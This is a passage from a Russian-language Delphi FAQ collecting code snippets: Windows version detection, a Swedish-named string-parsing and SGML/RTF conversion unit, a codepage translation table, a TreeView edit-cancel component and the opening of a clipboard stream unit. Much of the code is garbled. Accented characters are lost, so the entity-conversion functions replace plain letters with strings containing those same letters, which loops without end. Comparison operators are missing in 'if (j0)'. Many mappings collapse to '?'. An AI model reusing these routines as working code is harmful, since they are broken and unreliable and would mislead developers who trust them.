else if (majorVer = 4) AND (minorVer = 90) then
result := cOsWinME
else
result := cOsUnknown;
end;
else
result := cOsUnknown;
end;
end
else
result := cOsUnknown;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
ShowMessage(IntToStr(GetOperatingSystem));
end;
К заголовку




Полный список функций для парсинга строк
Здесь представлен модуль, в котором я разметил много методов для подобной работы.
Некоторые функции поименованы по-шведски, но, может-быть, Вы сможете понять,
что они делают.

Вам потребуется один из методов, называющийся stringreplaceall, который
принимает при параметра - исходную строку, подстроку для поиска и подстроку
для замены, и возвращает измененную строку.
Будьте осторожны, если Вы меняется одну подстроку на другую, чьей частью
является первая. Вы должны делать это в два прохода, или Вы попадете
в бесконечный цикл.

Так, если Вы имеете текст, содержащий слово Joe, и Вы хотите все его вхождения
изменить на Joey, то Вы должны сделать сперва нечто похожее на:

text := stringreplaceall (text,'Joe','Joeey');

И потом

text := stringreplaceall (text,'Joeey','Joey');

unit sparfunc;

interface

uses sysutils,classes;

function antaltecken (orgtext,soktext : string) : integer;
function beginsWith (text,teststreng : string):boolean;
function endsWith (text,teststreng : string):boolean;
function hamtastreng (text,strt,slut : string):string;
function hamtastrengmellan (text,strt,slut : string):string;
function nastadelare (progtext : string):integer;
function rtf2sgml (text : string) : string;
Function sgml2win(text : String) : String;
Function sgml2mac(text : String) : String;
Function sgml2rtf(text : string) : String;
function sistamening(text : string) : string;
function stringnthfield (text,delim : string; vilken : integer) : string;
function stringreplace (text,byt,mot : string) : string;
function stringreplaceall (text,byt,mot : string) : string;
function text2sgml (text : string) : string;
procedure SurePath (pathen : string);
procedure KopieraFil (infil,utfil : string);
function LasInEnTextfil (filnamn : string) : string;


implementation

function LasInEnTextfil (filnamn : string) : string;
var
infil : textfile;
temptext, filtext : string;
begin
filtext := '';
//Oppna angiven fil och las in den
try
assignfile (infil,filnamn); //Koppla en textfilsvariabel till pathname
reset (infil); //Oppna filen
while not eof(infil) do begin //Sa lange vi inte natt slutet
readln (infil,temptext); //Las in en rad
filtext := filtext+temptext; //Lagg den till variabeln SGMLTEXT
end; // while
finally //slutligen
closefile (infil); //Stang filen
end; //try
result := filtext;
end;

procedure KopieraFil (infil,utfil : string);
var
InStream : TFileStream;
OutStream : TFileStream;
begin
InStream := TFileStream.Create(infil,fmOpenRead);
try
OutStream := TFileStream.Create(utfil,fmOpenWrite or fmCreate);
try
OutStream.CopyFrom(InStream,0);
finally
OutStream.Free;
end;
finally
InStream.Free;
end;
end;

procedure SurePath (pathen : string);
var
temprad,del1 : string;
antal : integer;
begin
antal := antaltecken (pathen,'\');
if antal<3 then
createdir(pathen)
else begin
if pathen[length(pathen)] <> '\' then pathen := pathen+'\';
pathen := stringreplace(pathen,'\','/');
del1 := copy(pathen,1,pos('\',pathen));
pathen := stringreplace(pathen,del1,'');
del1 := stringreplace(del1,'/','\');
createdir (del1);
while pathen <> '' do begin
temprad := copy(pathen,1,pos('\',pathen));
pathen := stringreplace(pathen,temprad,'');
del1 := del1+ temprad;
temprad := '';
createdir(del1);
end;
end;
end;

function antaltecken (orgtext,soktext : string) : integer;
var
i,traffar,soklengd : integer;
begin
traffar := 0;
soklengd := length(soktext);
for i := 1 to length(orgtext) do
begin
if soktext = copy(orgtext,i,soklengd) then
traffar := traffar +1;
end;
result := traffar;
end;

function nastadelare (progtext : string):integer;
var
i,j : integer;
begin
i := pos('.',progtext);

j := pos('!',progtext);
if (j0) then i := j;

j := pos('!',progtext);

if (j0) then i := j;
j := pos('?',progtext);

if (j0) then i := j;
result := i;

end;

function stringnthfield (text,delim : string; vilken : integer) : string;
var
start,slut,i : integer;
temptext : string;
begin
start := 0;
if vilken >0 then
begin
temptext := text;
if vilken = 1 then
begin
start := 1;
slut := pos (delim,text);
end
else
begin
for i:= 1 to vilken -1 do
begin
start := pos(delim,temptext)+length(delim);
temptext := copy(temptext,start,length(temptext));
end;
slut := pos (delim,temptext);
end;
if start >0 then
begin
if slut = 0 then slut := length(text);
result := copy (temptext,1,slut-1);
end
else
result := text;
end
else
result := text;
end;

function StringReplaceAll (text,byt,mot : string ) :string;
{Funktion for att byta ut alla forekomster av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.
Om byt finns i mot maste vi ga via en temporar variant!!!}
var
plats : integer;
begin
While pos(byt,text) > 0 do
begin
plats := pos(byt,text);
delete (text,plats,length(byt));
insert (mot,text,plats);
end;
result := text;
end;

function StringReplace (text,byt,mot : string ) :string;
{Funktion for att byta ut den forsta forekomsten av en strang mot en
annan strang in en strang. Den konverterade strangen returneras.}
var
plats : integer;
begin
if pos(byt,text) > 0 then
begin
plats := pos(byt,text);
delete (text,plats,length(byt));
insert (mot,text,plats);
end;
result := text;
end;

function hamtastreng (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
stplats,slutplats : integer;
resultat : string;
begin
resultat :='';
stplats := pos(strt,text);
if stplats >0 then
begin
text := copy (text,stplats,length(text));
slutplats := pos(slut,text);
if slutplats >0 then
begin
resultat := copy(text,1,slutplats-1);
end;
end;
result := resultat;
end;

function hamtastrengmellan (text,strt,slut : string):string;
{Funktion for att hamta ut en delstrang ur en annan strang.
Om start och slut finns i text sa returneras en strang dar start
ingar i borjan och fram till tecknet fore slut.}
var
stplats,slutplats : integer;
resultat : string;
begin
resultat :='';
stplats := pos(strt,text);
if stplats >0 then
begin
text := copy (text,stplats+length(strt),length(text));
slutplats := pos(slut,text);
if slutplats >0 then
begin
resultat := copy(text,1,slutplats-1);
end;
end;
result := resultat;
end;

function endsWith (text,teststreng : string):boolean;
{Kollar om en strang slutar med en annan strang.
Returnerar true eller false.}
var
textlngd,testlngd : integer;
kollstreng : string;
begin
testlngd := length(teststreng);
textlngd := length (text);
if textlngd > testlngd then
begin
kollstreng := copy (text,(textlngd+1)-testlngd,testlngd);
if kollstreng = teststreng then
result := true
else
result := false;
end
else
result := false;
end;

function beginsWith (text,teststreng : string):boolean;
{Funktion for att kolla om text borjar med teststreng.
Returnerar true eller false.}
var
textlngd,testlngd : integer;
kollstreng : string;
begin
testlngd := length(teststreng);
textlngd := length (text);
if textlngd >= testlngd then
begin
kollstreng := copy (text,1,testlngd);
if kollstreng = teststreng then
result := true
else
result := false;
end
else
result := false;
end;

function sistamening(text : string) : string;
//Funktion for att ta fram sista meningen i en strang. Soker pa !?.
var
i:integer;
begin
i :=length(text)-1;
while (copy(text,i,1)<> '.') and (copy(text,i,1)<> '!') and (copy(text,i,1)<> '?') do
begin
dec(i);
if i =1 then break

end;
if i>1 then
result := copy(text,i,length(text))
else
result := '';
end;

Function text2sgml(text : String) : String;
{Funktion som byter ut alla ovanliga tecken mot entiteter.
Den fardiga texten returneras.}
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'a','a*');
text := stringreplaceall (text,'A','A*');
text := stringreplaceall (text,'a','a"');
text := stringreplaceall (text,'A','A"');
text := stringreplaceall (text,'a','a'');
text := stringreplaceall (text,'A','A'');
text := stringreplaceall (text,'a','a`');
text := stringreplaceall (text,'A','A`');
text := stringreplaceall (text,'?','?');
text := stringreplaceall (text,'?','&Aelig;');
text := stringreplaceall (text,'A','A^');
text := stringreplaceall (text,'a','a^');
text := stringreplaceall (text,'a','a~');
text := stringreplaceall (text,'A','A~');
text := stringreplaceall (text,'c','c,');
text := stringreplaceall (text,'C','C,');
text := stringreplaceall (text,'e','e'');
text := stringreplaceall (text,'E','E'');
text := stringreplaceall (text,'e','e^');
text := stringreplaceall (text,'E','E^');
text := stringreplaceall (text,'e','e"');
text := stringreplaceall (text,'E','E"');
text := stringreplaceall (text,'e','e`');
text := stringreplaceall (text,'E','E`');
text := stringreplaceall (text,'i','i^');
text := stringreplaceall (text,'I','I^');
text := stringreplaceall (text,'i','i'');
text := stringreplaceall (text,'I','I'');
text := stringreplaceall (text,'i','i`');
text := stringreplaceall (text,'I','I`');
text := stringreplaceall (text,'i','i"');
text := stringreplaceall (text,'I','I"');
text := stringreplaceall (text,'n','n~');
text := stringreplaceall (text,'N','N~');
text := stringreplaceall (text,'o','o"');
text := stringreplaceall (text,'O','O"');
text := stringreplaceall (text,'o','o`');
text := stringreplaceall (text,'O','O`');
text := stringreplaceall (text,'o','o'');
text := stringreplaceall (text,'O','O'');
text := stringreplaceall (text,'o','?');
text := stringreplaceall (text,'O','?');
text := stringreplaceall (text,'O','O^');
text := stringreplaceall (text,'o','o^');
text := stringreplaceall (text,'o','o~');
text := stringreplaceall (text,'O','O~');
text := stringreplaceall (text,'u','u"');
text := stringreplaceall (text,'U','U"');
text := stringreplaceall (text,'u','u'');
text := stringreplaceall (text,'U','U'');
text := stringreplaceall (text,'U','U`');
text := stringreplaceall (text,'u','u`');
text := stringreplaceall (text,'u','u^');
text := stringreplaceall (text,'U','U^');
text := stringreplaceall (text,'y','y'');
text := stringreplaceall (text,'Y','Y'');
text := stringreplaceall (text,'y','y"');
text := stringreplaceall (text,'|',' ');
result := text;
End;

Function sgml2win(text : String) : String;
{Funktion som ersatter alla entiteter mot deras tecken i
windows. Den fardiga strangen returneras.}
begin
text := stringreplaceall (text,'a'','a');
text := stringreplaceall (text,'A'','A');
text := stringreplaceall (text,'?','?');
text := stringreplaceall (text,'&Aelig;','?');
text := stringreplaceall (text,'a`','a');
text := stringreplaceall (text,'A`','A');
text := stringreplaceall (text,'a*','a');
text := stringreplaceall (text,'A*','A');
text := stringreplaceall (text,'a"','a');
text := stringreplaceall (text,'A"','A');
text := stringreplaceall (text,'A^' ,'A');
text := stringreplaceall (text,'a^' ,'a');
text := stringreplaceall (text,'a~','a');
text := stringreplaceall (text,'A~','A');
text := stringreplaceall (text,'c,','c');
text := stringreplaceall (text,'C,','C');
text := stringreplaceall (text,'e'','e');
text := stringreplaceall (text,'E'','E');
text := stringreplaceall (text,'e`','e');
text := stringreplaceall (text,'E`','E');
text := stringreplaceall (text,'e^' ,'e');
text := stringreplaceall (text,'E^' ,'E');
text := stringreplaceall (text,'e"' ,'e');
text := stringreplaceall (text,'E"' ,'E');
text := stringreplaceall (text,'i^' ,'i');
text := stringreplaceall (text,'I^' ,'I');
text := stringreplaceall (text,'i'','i');
text := stringreplaceall (text,'I'','I');
text := stringreplaceall (text,'i`','i');
text := stringreplaceall (text,'I`','I');
text := stringreplaceall (text,'i"' ,'i');
text := stringreplaceall (text,'I"' ,'I');
text := stringreplaceall (text,'n~','n');
text := stringreplaceall (text,'N~','N');
text := stringreplaceall (text,'o`','o');
text := stringreplaceall (text,'O`','O');
text := stringreplaceall (text,'o'','o');
text := stringreplaceall (text,'O'','O');
text := stringreplaceall (text,'o"','o');
text := stringreplaceall (text,'O"','O');
text := stringreplaceall (text,'?','o');
text := stringreplaceall (text,'?','O');
text := stringreplaceall (text,'O^' ,'O');
text := stringreplaceall (text,'o^' ,'o');
text := stringreplaceall (text,'o~','o');
text := stringreplaceall (text,'O~','O');
text := stringreplaceall (text,'u"','u');
text := stringreplaceall (text,'U"','U');
text := stringreplaceall (text,'u'','u');
text := stringreplaceall (text,'U'','U');
text := stringreplaceall (text,'u^' ,'u');
text := stringreplaceall (text,'U^' ,'U');
text := stringreplaceall (text,'U`','U');
text := stringreplaceall (text,'u`','u');
text := stringreplaceall (text,'y'','y');
text := stringreplaceall (text,'Y'','Y');
text := stringreplaceall (text,'y"' ,'y');
text := stringreplaceall (text,' ','|');
text := stringreplaceall (text,'&','&');
result := text;
End;

Function sgml2mac(text : String) : String;
{Funktion som ersatter alla entiteter mot deras tecken i
mac. Den fardiga strangen returneras.}
begin
text := stringreplaceall (text,'a'',chr(135));
text := stringreplaceall (text,'A'',chr(231));
text := stringreplaceall (text,'?',chr(190));
text := stringreplaceall (text,'&Aelig;',chr(174));
text := stringreplaceall (text,'a`',chr(136));
text := stringreplaceall (text,'A`',chr(203));
text := stringreplaceall (text,'a*',chr(140));
text := stringreplaceall (text,'A*',chr(129));
text := stringreplaceall (text,'A"',chr(128));
text := stringreplaceall (text,'a"',chr(138));
text := stringreplaceall (text,'A^' ,chr(229));
text := stringreplaceall (text,'a^' ,chr(137));
text := stringreplaceall (text,'a~',chr(139));
text := stringreplaceall (text,'A~',chr(204));
text := stringreplaceall (text,'c,',chr(141));
text := stringreplaceall (text,'C,',chr(130));
text := stringreplaceall (text,'e'',chr(142));
text := stringreplaceall (text,'E'',chr(131));
text := stringreplaceall (text,'e`',chr(143));
text := stringreplaceall (text,'E`',chr(233));
text := stringreplaceall (text,'e^' ,chr(144));
text := stringreplaceall (text,'E^' ,chr(230));
text := stringreplaceall (text,'e"' ,chr(145));
text := stringreplaceall (text,'E"' ,chr(232));
text := stringreplaceall (text,'i^' ,chr(148));
text := stringreplaceall (text,'I^' ,chr(235));
text := stringreplaceall (text,'i'' ,chr(146));
text := stringreplaceall (text,'I'' ,chr(234));
text := stringreplaceall (text,'i`' ,chr(147));
text := stringreplaceall (text,'I`' ,chr(237));
text := stringreplaceall (text,'i"' ,chr(149));
text := stringreplaceall (text,'I"' ,chr(236));
text := stringreplaceall (text,'n~',chr(150));
text := stringreplaceall (text,'N~',chr(132));
text := stringreplaceall (text,'o`',chr(152));
text := stringreplaceall (text,'O`',chr(241));
text := stringreplaceall (text,'o'',chr(151));
text := stringreplaceall (text,'O'',chr(238));
text := stringreplaceall (text,'O^' ,chr(239));
text := stringreplaceall (text,'o^' ,chr(153));
text := stringreplaceall (text,'?',chr(191));
text := stringreplaceall (text,'?',chr(175));
text := stringreplaceall (text,'o~',chr(155));
text := stringreplaceall (text,'O~',chr(239));
text := stringreplaceall (text,'o"',chr(154));
text := stringreplaceall (text,'O"',chr(133));
text := stringreplaceall (text,'u"',chr(159));
text := stringreplaceall (text,'U"',chr(134));
text := stringreplaceall (text,'u'',chr(156));
text := stringreplaceall (text,'U'',chr(242));
text := stringreplaceall (text,'u^' ,chr(158));
text := stringreplaceall (text,'U^' ,chr(243));
text := stringreplaceall (text,'U`',chr(244));
text := stringreplaceall (text,'u`',chr(157));
text := stringreplaceall (text,'y'','y');
text := stringreplaceall (text,'y"' ,chr(216));
text := stringreplaceall (text,'Y"' ,chr(217));
text := stringreplaceall (text,' ',' ');
text := stringreplaceall (text,'&',chr(38));
result := text;
End;


Function sgml2rtf(text : string) : String;
{Funktion for att byta ut sgml-entiteter mot de koder som
galler i RTF-textrutorna.}
begin
text := stringreplaceall (text,'}','#]#');
text := stringreplaceall (text,'{','#[#');
text := stringreplaceall (text,'\','HSALSKCAB');
text := stringreplaceall (text,'HSALSKCAB','\\');
text := stringreplaceall (text,'?','\'+chr(39)+'c6');
text := stringreplaceall (text,'&Aelig;','\'+chr(39)+'e6');
text := stringreplaceall (text,'a'','\'+chr(39)+'e1');
text := stringreplaceall (text,'A'','\'+chr(39)+'c1');
text := stringreplaceall (text,'a`','\'+chr(39)+'e0');
text := stringreplaceall (text,'A`','\'+chr(39)+'c0');
text := stringreplaceall (text,'a*','\'+chr(39)+'e5');
text := stringreplaceall (text,'A*','\'+chr(39)+'c5');
text := stringreplaceall (text,'A^','\'+chr(39)+'c2');
text := stringreplaceall (text,'a^','\'+chr(39)+'e2');
text := stringreplaceall (text,'a~','\'+chr(39)+'e3');
text := stringreplaceall (text,'A~','\'+chr(39)+'c3');
text := stringreplaceall (text,'a"','\'+chr(39)+'e4');
text := stringreplaceall (text,'A"','\'+chr(39)+'c4');
text := stringreplaceall (text,'c,','\'+chr(39)+'e7');
text := stringreplaceall (text,'C,','\'+chr(39)+'c7');
text := stringreplaceall (text,'e'','\'+chr(39)+'e9');
text := stringreplaceall (text,'E'','\'+chr(39)+'c9');
text := stringreplaceall (text,'e`','\'+chr(39)+'e8');
text := stringreplaceall (text,'E`','\'+chr(39)+'c8');
text := stringreplaceall (text,'e^','\'+chr(39)+'ea');
text := stringreplaceall (text,'E^','\'+chr(39)+'ca');
text := stringreplaceall (text,'e"','\'+chr(39)+'eb');
text := stringreplaceall (text,'E"','\'+chr(39)+'cb');
text := stringreplaceall (text,'i^','\'+chr(39)+'ee');
text := stringreplaceall (text,'I^','\'+chr(39)+'ce');
text := stringreplaceall (text,'i'','\'+chr(39)+'ed');
text := stringreplaceall (text,'I'','\'+chr(39)+'cd');
text := stringreplaceall (text,'i`','\'+chr(39)+'ec');
text := stringreplaceall (text,'I`','\'+chr(39)+'cc');
text := stringreplaceall (text,'i"' ,'\'+chr(39)+'ef');
text := stringreplaceall (text,'I"' ,'\'+chr(39)+'cf');
text := stringreplaceall (text,'n~','\'+chr(39)+'f1');
text := stringreplaceall (text,'N~','\'+chr(39)+'d1');
text := stringreplaceall (text,'o"','\'+chr(39)+'f6');
text := stringreplaceall (text,'O"','\'+chr(39)+'d6');
text := stringreplaceall (text,'o'','\'+chr(39)+'f3');
text := stringreplaceall (text,'O'','\'+chr(39)+'d3');
text := stringreplaceall (text,'o`','\'+chr(39)+'f2');
text := stringreplaceall (text,'O`','\'+chr(39)+'d2');
text := stringreplaceall (text,'?','\'+chr(39)+'f8');
text := stringreplaceall (text,'?','\'+chr(39)+'d8');
text := stringreplaceall (text,'O^','\'+chr(39)+'d4');
text := stringreplaceall (text,'o^','\'+chr(39)+'f4');
text := stringreplaceall (text,'o~','\'+chr(39)+'f5');
text := stringreplaceall (text,'O~','\'+chr(39)+'d5');
text := stringreplaceall (text,'u'','\'+chr(39)+'fa');
text := stringreplaceall (text,'U'','\'+chr(39)+'da');
text := stringreplaceall (text,'u^','\'+chr(39)+'fb');
text := stringreplaceall (text,'U^','\'+chr(39)+'db');
text := stringreplaceall (text,'U`','\'+chr(39)+'d9');
text := stringreplaceall (text,'u`','\'+chr(39)+'f9');
text := stringreplaceall (text,'u"','\'+chr(39)+'fc');
text := stringreplaceall (text,'U"','\'+chr(39)+'dc');
text := stringreplaceall (text,'y'','\'+chr(39)+'fd');
text := stringreplaceall (text,'Y'','\'+chr(39)+'dd');
text := stringreplaceall (text,'y"','\'+chr(39)+'ff');
text := stringreplaceall (text,'?','\'+chr(39)+'a3');
text := stringreplaceall (text,'#]#','\}');
text := stringreplaceall (text,'#[#','\{');
text := stringreplaceall (text,' ','|');
text := stringreplaceall (text,'&','&');
result := text;
End;

function rtf2sgml (text : string) : string;
{Funktion for att konvertera en RTF-rad till SGML-text.}
var
temptext : string;
start : integer;
begin
text := stringreplaceall (text,'&','##amp;');
text := stringreplaceall (text,'##amp','&');
text := stringreplaceall (text,'\'+chr(39)+'c6','?');
text := stringreplaceall (text,'\'+chr(39)+'e6','&Aelig;');
text := stringreplaceall (text,'\'+chr(39)+'e5','a*');
text := stringreplaceall (text,'\'+chr(39)+'c5','A*');
text := stringreplaceall (text,'\'+chr(39)+'e4','a"');
text := stringreplaceall (text,'\'+chr(39)+'c4','A"');
text := stringreplaceall (text,'\'+chr(39)+'e1','a'');
text := stringreplaceall (text,'\'+chr(39)+'c1','A'');
text := stringreplaceall (text,'\'+chr(39)+'e0','a`');
text := stringreplaceall (text,'\'+chr(39)+'c0','A`');
text := stringreplaceall (text,'\'+chr(39)+'c2','A^');
text := stringreplaceall (text,'\'+chr(39)+'e2','a^');
text := stringreplaceall (text,'\'+chr(39)+'e3','a~');
text := stringreplaceall (text,'\'+chr(39)+'c3','A~');
text := stringreplaceall (text,'\'+chr(39)+'e7','c,');
text := stringreplaceall (text,'\'+chr(39)+'c7','C,');
text := stringreplaceall (text,'\'+chr(39)+'e9','e'');
text := stringreplaceall (text,'\'+chr(39)+'c9','E'');
text := stringreplaceall (text,'\'+chr(39)+'e8','e`');
text := stringreplaceall (text,'\'+chr(39)+'c8','E`');
text := stringreplaceall (text,'\'+chr(39)+'ea','e^');
text := stringreplaceall (text,'\'+chr(39)+'ca','E^');
text := stringreplaceall (text,'\'+chr(39)+'eb','e"');
text := stringreplaceall (text,'\'+chr(39)+'cb','E"');
text := stringreplaceall (text,'\'+chr(39)+'ee','i^');
text := stringreplaceall (text,'\'+chr(39)+'ce','I^');
text := stringreplaceall (text,'\'+chr(39)+'ed','i'');
text := stringreplaceall (text,'\'+chr(39)+'cd','I'');
text := stringreplaceall (text,'\'+chr(39)+'ec','i`');
text := stringreplaceall (text,'\'+chr(39)+'cc','I`');
text := stringreplaceall (text,'\'+chr(39)+'ef','i"');
text := stringreplaceall (text,'\'+chr(39)+'cf','I"');
text := stringreplaceall (text,'\'+chr(39)+'f1','n~');
text := stringreplaceall (text,'\'+chr(39)+'d1','N~');
text := stringreplaceall (text,'\'+chr(39)+'f3','o'');
text := stringreplaceall (text,'\'+chr(39)+'d3','O'');
text := stringreplaceall (text,'\'+chr(39)+'f2','o`');
text := stringreplaceall (text,'\'+chr(39)+'d2','O`');
text := stringreplaceall (text,'\'+chr(39)+'d4','O^');
text := stringreplaceall (text,'\'+chr(39)+'f4','o^');
text := stringreplaceall (text,'\'+chr(39)+'f5','o~');
text := stringreplaceall (text,'\'+chr(39)+'d5','O~');
text := stringreplaceall (text,'\'+chr(39)+'f8','?');
text := stringreplaceall (text,'\'+chr(39)+'d8','?');
text := stringreplaceall (text,'\'+chr(39)+'f6','o"');
text := stringreplaceall (text,'\'+chr(39)+'d6','O"');
text := stringreplaceall (text,'\'+chr(39)+'fc','u"');
text := stringreplaceall (text,'\'+chr(39)+'dc','U"');
text := stringreplaceall (text,'\'+chr(39)+'fa','u'');
text := stringreplaceall (text,'\'+chr(39)+'da','U'');
text := stringreplaceall (text,'\'+chr(39)+'fb','u^');
text := stringreplaceall (text,'\'+chr(39)+'db','U^');
text := stringreplaceall (text,'\'+chr(39)+'d9','U`');
text := stringreplaceall (text,'\'+chr(39)+'f9','u`');
text := stringreplaceall (text,'\'+chr(39)+'fd','y'');
text := stringreplaceall (text,'\'+chr(39)+'dd','Y'');
text := stringreplaceall (text,'\'+chr(39)+'ff','y"');
text := stringreplaceall (text,'|',' ');
text := stringreplaceall (text,'\'+chr(39)+'a3','?');
text := stringreplaceall (text,'\}','#]#');
text := stringreplaceall (text,'\{','#[#');
if (beginswith (text, '{\rtf1\')) or (beginswith (text, '{\colortbl\')) then
begin
result := '';
exit;
end;
//text := stringreplaceall (text,'{\fonttbl',''); {Skall alltid tas bort}
//temptext := hamtastreng (text,'{\rtf1','{\f0');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//temptext := hamtastreng (text,'{\f0','{\f1');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//temptext := hamtastreng (text,'{\f1','{\f2');{Skall alltid tas bort}
//text := stringreplace (text,temptext,'');
//text := stringreplaceall (text,'{\f2\fswiss\fprq2 System;}}','');{Skall alltid tas bort}
//text := stringreplaceall (text,'{\colortbl\red0\green0\blue0;}','');{Skall alltid tas bort}
{I version 2.01 av Delphi finns inte \cf0 med i RTF-rutan. Tog darfor bort
det efter \fs16 och la istallet en egen tvatt av \cf0.}
//temptext := hamtastreng (text,'{\rtf1','\deflang');
//text := stringreplace (text,temptext,''); {Hamta och radera allt fran start till deflang}
text := stringreplaceall (text,'\cf0','');
temptext := hamtastreng (text,'\deflang','\pard');{Plocka fran deflang till pard for att fa }
text := stringreplace (text,temptext,'');{oavsett vilken lang det ar. Norska o svenska ar olika}
text := stringreplaceall (text,'\ltrpar','');
text := stringreplaceall (text,'\ql','');
text := stringreplaceall (text,'\ltrch','');
{Har skall vi plocka bort fs och flera olika siffror beroende pa vilka alternativ vi godkanner.}
//text := stringreplaceall (text,'\fs16','');{8 punkter}
//text := stringreplaceall (text,'\fs20','');{10 punkter}
{Nu stadar vi istallet bort alla tvasiffriga fontsize.}
while pos ('\fs',text) >0 do
begin
//application.processmessages;
start := pos ('\fs',text);
Delete(text,start,5);
end;
while pos ('\f',text) >0 do
begin
//application.processmessages;
start := pos ('\f',text);
Delete(text,start,3);
end;
text := stringreplaceall (text,'\pard\li200-200{\*\pn\pnlvlblt\pnf1\pnindent200{\pntxtb\'+chr(39)+'b7}}\plain ','</P><UL>');
text := stringreplaceall (text,'{\pntext\'+chr(39)+'b7\tab}','<LI>');
text := stringreplaceall (text, '\par <LI>','<LI>');
text := stringreplaceall (text, '\par <UL>','<UL>');
text := stringreplaceall (text,'\pard\plain ','<P>');
text := stringreplaceall (text,'\par \plain\b\ul ','</P><MELLIS>');
text := stringreplaceall (text,'\plain\b\ul ','</P><MELLIS>');
text := stringreplaceall (text,'\plain','</MELLIS>');
text := stringreplaceall (text,'\par }','</P>');
if (pos ('\par \tab ',text)>0) or (pos ('<P>\tab ',text)>0) then
begin
text := stringreplaceall (text,'\par \tab ','<TR><TD>');
text := stringreplaceall (text,'<P>\tab ','<TR><TD>');
text := stringreplaceall (text,'\tab ','</TD><TD>');
end
else
begin
text := stringreplaceall (text,'\tab ','');
end;
text := stringreplaceall (text,'\par ','</P><P>');
text := stringreplaceall (text,'#]#','}');
text := stringreplaceall (text,'#[#','{');
text := stringreplaceall (text,'\\','\');
if pos('<TD>',text)>0 then text := text+'</TD></TR>';
if pos('<LI>',text)>0 then text := text+'</LI>';
result := text;
end;

end.
К заголовку




" Как сконверировать строку из одной кодировки в другую?
Для перекодирования из текущей кодировки DOS в текущую кодировку Windows
есть функции
Win16: OemToAnsi, AnsiToOem;
Win32: OemToChar, CharToOem.
И они же с суффиксом Buf.

Но если Вы хотите работать с другими кодировками (ISO, 4e) или
получить тот же результат вне зависимости системной локализации,

Примечание: не пытайся копировать таблицу из письма, так как здесь кодировка
KOI8r, а набей ее сам вручную.

type
TXlatTable = array[0..255] of Char;
PXlatTable = ^TXlatTable;
const
Cp866To1251 : TXlatTable = (
#0,#1,#2,#3,#4,#5,#6,#7,#8,#9,#10,#11,#12,#13,#14,#15,
#16,#17,#18,#19,#20,#21,#22,#23,#24,#25,#26,#27,#28,#29,#30,#31,
' ','!','"','#','$','%','&','''','(',')','*','+',',','-','.','/',
'0','1','2','3','4','5','6','7','8','9',':',';','<','=','>','?',
'@','A','B','C','D','E','F','G','H','I','J','K','L','M','N','O',
'P','Q','R','S','T','U','V','W','X','Y','Z','[','\',']','^','_',
'`','a','b','c','d','e','f','g','h','i','j','k','l','m','n','o',
'p','q','r','s','t','u','v','w','x','y','z','{','|','}','~',#127,
'А','Б','В','Г','Д','Е','Ж','З','И','Й','К','Л','М','H','О','П',
'Р','С','Т','У','Ф','Х','Ц','Ч','Ш','Щ','Ъ','Ы','Ь','Э','Ю','Я',
'а','б','в','г','д','е','ж','з','и','й','к','л','м','н','о','п',
'.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.',
'.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.',
'.','.','.','.','.','.','.','.','.','.','.','.','.','.','.','.',
'р','с','т','у','ф','х','ц','ч','ш','щ','ъ','ы','ь','э','ю','я',
'Ё','ё','?','ё','?','?','?','?','°','·','·',#251,'?','?',#254,#255);

function XlatConvert(const Value:string;
const CvtTable:PXlatTable): string;

Implementation

{***********************************
* Xlat Convering utility *
* for Transliterate, Upper, Lower *
***********************************}
function XlatConvert(const Value:string;
const CvtTable:PXlatTable) : string;
var
I : Integer;
begin
if CvtTable = nil then
Result := Value
else begin
Result := '';
for I := 1 to Length(Value) do begin
Result := Result + CvtTable^[Byte(Value[I])];
end;
end;
end; {XlatConvert}
К заголовку




" Хотелось бы иметь возможность отмены вставки нового узла в TTreeView по нажатию кнопки Esc. Как сделать?
unit BetterTreeView;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, CommCtrl;

type
TTVNewEditCancelEvent = procedure( Sender: TObject;
Node: TTreeNode; var Delete: Boolean) of object;
TBetterTreeView = class(TTreeView)
protected
FIsEditingNew: Boolean;
FOnEditCancel: TTVChangedEvent;
FOnNewEditCancel: TTVNewEditCancelEvent;
procedure Edit(const Item: TTVItem); override;
public
function NewChildAndEdit(Node: TTreeNode; const S: String)
: TTreeNode;
published
property IsEditingNew: Boolean read FIsEditingNew;
property OnEditCancel: TTVChangedEvent
read FOnEditCancel write FOnEditCancel;
property OnNewEditCancel: TTVNewEditCancelEvent
read FOnNewEditCancel write FOnNewEditCancel;
end;

implementation

procedure TBetterTreeView.Edit(const Item: TTVItem);
var
Node: TTreeNode;
Action: Boolean;
begin
with Item do begin
{ Get the node }
if (state and TVIF_PARAM) <> 0 then
Node := Pointer(lParam)
else
Node := Items.GetNode(hItem);

if pszText = nil then begin
if FIsEditingNew then begin
Action := True;
if Assigned(FOnNewEditCancel) then
FOnNewEditCancel(Self, Node, Action);
if Action then
Node.Destroy
end
else
if Assigned(FOnEditCancel) then
FOnEditCancel(Self, Node);
end
else
inherited;
end;
FIsEditingNew := False;
end;

function TBetterTreeView.NewChildAndEdit
(Node: TTreeNode; const S: String): TTreeNode;
begin
SetFocus;
Result := Items.AddChild(Node, S);
FIsEditingNew := True;
Node.Expand(False);
Result.EditText;
SetFocus;
end;

end.
К заголовку




" Как удобнее работать с буфером обмена как последовательностью байт?

Используя потоки -

unit ClipStrm;

{
This unit is Copyright (c) Alexey Mahotkin 1997-1998
and may be used freely for any purpose. Please mail
your comments to
E-Mail: alexm@hsys.msk.ru
FidoNet: Alexey Mahotkin, 2:5020/433

This unit was developed during incorporating of TP Lex/Yacc
into my project. Please visit ftp://ftp.nf.ru/pub/alexm
or FREQ FILES from 2:5020/433 or mail me to get hacked
version of TP Lex/Yacc which works under Delphi 2.0+.
}

interface uses Classes, Windows;

type
TClipboardStream = class(TStream)
private
FMemory : pointer;
FSize : longint;
FPosition : longint;
FFormat : word;
public
constructor Create(fmt : word);
destructor Destroy; override;

function Read(var Buffer; Count : Longint) : Longint; override;
function Write(const Buffer; Count : Longint) : Longint; override;
function Seek(Offset : Longint; Origin : Word) : Longint; override;
end;

implementation uses SysUtils;

